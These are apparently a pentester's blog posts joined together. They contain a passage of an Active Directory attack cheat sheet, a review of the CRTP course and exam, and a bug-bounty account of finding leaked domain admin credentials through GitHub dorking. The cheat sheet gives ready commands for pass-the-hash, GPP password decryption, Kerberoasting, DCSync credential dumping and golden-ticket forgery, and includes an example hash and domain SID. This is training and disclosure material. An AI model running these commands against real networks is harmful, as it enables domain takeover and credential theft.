• Get locally logged users on a computer (needs remote registry on the target - started by-default on server OS)

  Get-LoggedonLocal -ComputerName johncena-dc

• Get the last logged user on a computer (needs administrative rights and remote registry on the target)

  Get-LastLoggedOn -ComputerName dcorp-adminsrv

• Find shares on hosts in current domain. (Bit noisy command)

  Invoke-ShareFinder -Verbose

• Find sensitive files on computers in the domain

  Invoke-FileFinder -Verbose

• Get all fileservers of the domain

  Get-NetFileServer

2. Bloodhound: It is the famous tool heavily used during the post-enumeration of the active directory infrastructure.you can find the tool here.

• Running sharp-hound assuming the access to the target powershell console:

  powershell -ep bypass

  ..\sharpHound.ps1 Invoke-BloodHound -CollectionMethod All -Domain MARVEL.local -ZipFileName out.zip

Post-Compromise Attacks:

1. Pass the hash: For this post compromise attack we have to have the NTLM hashes and passwords gained during the previous enumeration phases.

• Pass the password across the domain:

  nxc smb <ip_range> -u 'john.cena' -p 'johncena@123'

• Pass the hash across the domain:

  nxc smb <ip_range> -u 'john.cena' -H <insert_hash_here>

• Pass the password to compromise local accounts:

  nxc smb <ip_range> -u 'john.cena' -p “johncena@123” —local-auth

• Pass the hash to compromise local accounts:

  nxc smb <ip_range> -u 'john.cena' -H <<insert_password_here>> —local-auth

2. GPP/ cPassword Attacks (MS14-025) :

• Group Policy Preferences allowed admins to create policies using embedded credentials

• These credentials were encrypted and placed in a "cPassword"

• The key was accidentally released (whoops).

• Patched in MS14-025, but doesn't prevent previous uses.

• Obtain & decrypt the password hash from SYSVOL's Groups.xml file.

  gpp-decrypt <insert_hash_here>

Now , after getting the credentials , we can try try psexec to get the shell to check for DA privilege.

3. Kerberoasting :

• Offline cracking of service account passwords.

• The Kerberos session ticket (TGS) has a server portion which is encrypted with the password hash of service account. This makes it possible to request a ticket and do offline password attack.

• Because (non-machine) service account passwords are not frequently changed, this has become a very popular attack!

• Obtain the service account hash using impacket:

  impacket-GetUserSPN.py -dc-ip -request <DOMAIN/username:password> -dc-ip -request

• Crack the hash using hashcat: (praying to god is must)

  hashcat -m 13100 kerberoast.txt rockyou.txt

4. DC-Sync Attack: Dc-sync is an attack that allows an attacker to simulate the behavior of a domain controller (DC) and retrieve password data via domain replication. At this moment, we probably have domain admin access to the active directory, now we can extract credentials from the DC without code execution on it.

• Extract Credentials using impacket-secretdumps:

  impacket-secretsdump.py <domain>/<username>:<password>@<ip_address>

Persistence:

At this phase, having Domain Admin access as an attacker there are unlimited ways that can be used to maintain persistence such as golden ticket, diamond ticket , installing backdoor, modifying ACLs and many more. Based on the real world experience, forging the golden ticket is still the go to way to maintain persistence assuming there is no detection in place.

• Golden Ticket Attack:

  • A golden ticket is signed and encrypted by the hash of krbtgt account which makes it a valid TGT ticket.

  • The krbtgt user hash could be used to impersonate any user with any privileges from even a non-domain machine.

  • As a good practice, it is recommended to change the password of the krbtgt account twice as password history is maintained for the account.

  • Craft a golden ticket using impacket ticketer:

    impacket-ticketer-nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain <wwe.local> -dc-ip 10.10.10.1 Administrator

With the modern EDR/XDR era active directory explotation is becoming more challenging and fun at the same times. The above explained are the most common attacks and techniques that can be a good start for any seasoned pentesters who loves to pwn the active directory.Below are the resources attached that can be add-on to your arsenal.

Thank you

Resources

• https://zer1t0.gitlab.io/posts/attacking_ad/

• https://blog.netwrix.com/tag/active-directory/

• https://www.youtube.com/watch?v=_EXHGtaxDew&list=PLJQHPJLj_SQatUsJy3O4k-VQlllquDmDr

• https://xmind.app/m/874LNH/

I signed up for the CRTP course during the Diwali sale which costs me $199 that includes the lifetime access of the course materials, 30 days lab access & one exam certification attempt.

Course & Lab

As I already have background of pwning active directory infrastructures in my day to day job, I decided that 30 days lab will be enough for me. The course material is packed with the video content , slides & the lab manual. The key point of the course is you can activate the lab anytime within 90 days of the purchase. So, i made a plan to finish watching the videos & then dive into the lab environment.

I started watching the course videos & started taking notes. The course is taught based on the assume breach methodology, having an access to a user machine as an initial foothold. The course taught the active directory enumeration, local privilege escalation, domain privilege escalation, domain persistence and dominance, cross trust attacks, forest persistence and dominance in the attacking side. The course also covers the defenses & deception part which is also the important part. The course heavily relies on the powershell tools for the enumeration. For the exploitation & persistence part tools such as Mimikatz & it's various implementations, Rubeus etc were in used. The instructor of the course (Nikhil Mittal) explains each & every concepts , scripts, tools etc in very understandable manner. Although, the course is focused in the Active Directory Attack & Defenses, the course also provides the covenant (Command & Control) C2 framework lab manaual to play in lab environment & also covers the red teaming concepts such as OPSEC, MDI detection & bypass & recently they have introduced the beta version of EDR bypass in their course.

I enjoyed the course a lot since I can relate the content taught in the course with my day to day work. After i completed watching course videos , I sent a mail to the lab team to activate my lab environment. The value of this course is indeed a lab environment where you can play around. I suggest anyone taking this course to note down each & every thing learned during the course & the lab environment that will help you to refer to the notes during the exam or in the real assessment. I used the notion for my note taking & below is the overview of my note structure.

During lab time, we might stuck sometimes, don't worry. Refer to the lab manual & understand what's wrong with your approach. Don't just blindly ran the tools , knowing tools & context is necessary.

Although , this is the beginner course focused on the active directory exploitation, but to the anyone who is new to the field they can get overwhelm going through the vast structure of the course content. Having a full time day job, I managed to spent 4 to 5 hours on a daily basis during the preparation of the course. I planned to dive into the Covenant C2 lab manual provided in the course to play around with the C2 framework, but i ended up procrastinating till i lose the lab access. I recommend anyone interested in red teaming to spend time playing around the Covenant C2 lab manual , since there is no other course providing a C2 in AD lab environment at this price range.

Exam

After the lab access is ended , I decided to attempt for the CRTP exam. As instructed by the altered security the exam consists of 5 machines in total excluding the one machine provided to us as initial foothold or basically a jump server. In order to pass the exam, we need to compromise the full 5 machines in 24 hours & provide a neat report about our methodology.

On the early morning of the Jan 27 , I started the exam around 6:30 NPT. I had already prepared the necessary tools & my notes ready for the exam. Since, the provided machine doesn't contain any tools , we need to transfer our tools to the exam VM.

Please , note both lab & the exam can be accessed through the VPN or the Guacamole. I just go through the Guacamole during both lab & the exam time.

After successfully transferring the tools , I started the enumeration following the methodology taught in the course. To be honest, exam was straightforward for anyone who follows the methodology taught in the course. In my case , I struggled with troubleshooting the tools & exam environment sometimes got disconnect in the middle , that was only issues I faced during the exam. You can directly connect exam lab support team via discord or mail if any difficulties faced during the exam. After spending around 11 hours I completed the exam & start revising the notes in the notion that I prepared for the report during the exam.

After well structuring the report , I submitted it to the lab support team. On the Jan 29, I got the message from Altered Security team that I successfully passed the exam.

Final Thoughts

Anyone asking if CRTP certification worth time & money ?

I will say that completely depends on the what your background is , what you want to achieve etc. In context of me, I find active directory exploitation as a very good skillset to have, since i face the AD environment most of the time during the internal network infrastructure assessments. Also, there is no doubt in this price range there is any other training available in the market providing such a good content & mostly the lab environment. Even thought the course is well structured & provide the details on everything taught there, I let myself to explore around the internet that helped me during the preparation of the course. if this will help you don't forgot to check the resources below.

Resources

• https://zer1t0.gitlab.io/posts/attacking_ad/

• https://blog.netwrix.com/tag/active-directory/

• https://www.youtube.com/watch?v=_EXHGtaxDew&list=PLJQHPJLj_SQatUsJy3O4k-VQlllquDmDr

• https://xmind.app/m/874LNH/

site:com intext:reponsible disclosure

I just randomly choose the target & started github dorking based on the given scope. After trying bunch of the following dorks:

“target.com” password

“target” password

“target.com” path:env

I just landed on the var.tf file on the github. Navigating inside the file, I just found the domain admin username, password & the vsphere_server IP address disclosed associated with the organization tld.

Since , I realized the credentials are used inside the organization infrastructure & also without the strong evidence that the github repository belong to the organization employee it’s a baby-cry thing in the bug-bounty. Also, reading their responsible disclosure it was clearly mentioned that actively auditing their infrastructure based on the credentials found on the internet is strictly prohibited.

Anyway, I decided to report it anyway. After, some days they just reply with this.

I just accepted the invitation & proceed further.Some days later, a hackerone triager replied that the repo doesn’t belong to the organization and If I managed to provide the proof, they will proceed further.

I just left it right there after reading the reply. Next day from this reply, I received another message.The report was triaged with the medium severity. Now , long story short on the march 21st they fixed the issue removing the github repo & closed the report as Resolved.

Although , it was VDP but the experience was quite good. At last, I just want to put some resources below to learn the github dorking.

• https://orwaatyat.medium.com/your-full-map-to-github-recon-and-leaks-exposure-860c37ca2c82

• https://youtu.be/L0-aa60CZuI

• https://github.com/techgaun/github-dorks

• https://gist.github.com/jhaddix/2a08178b94e2fb37ca2bb47b25bcaed1

Thank you everyone.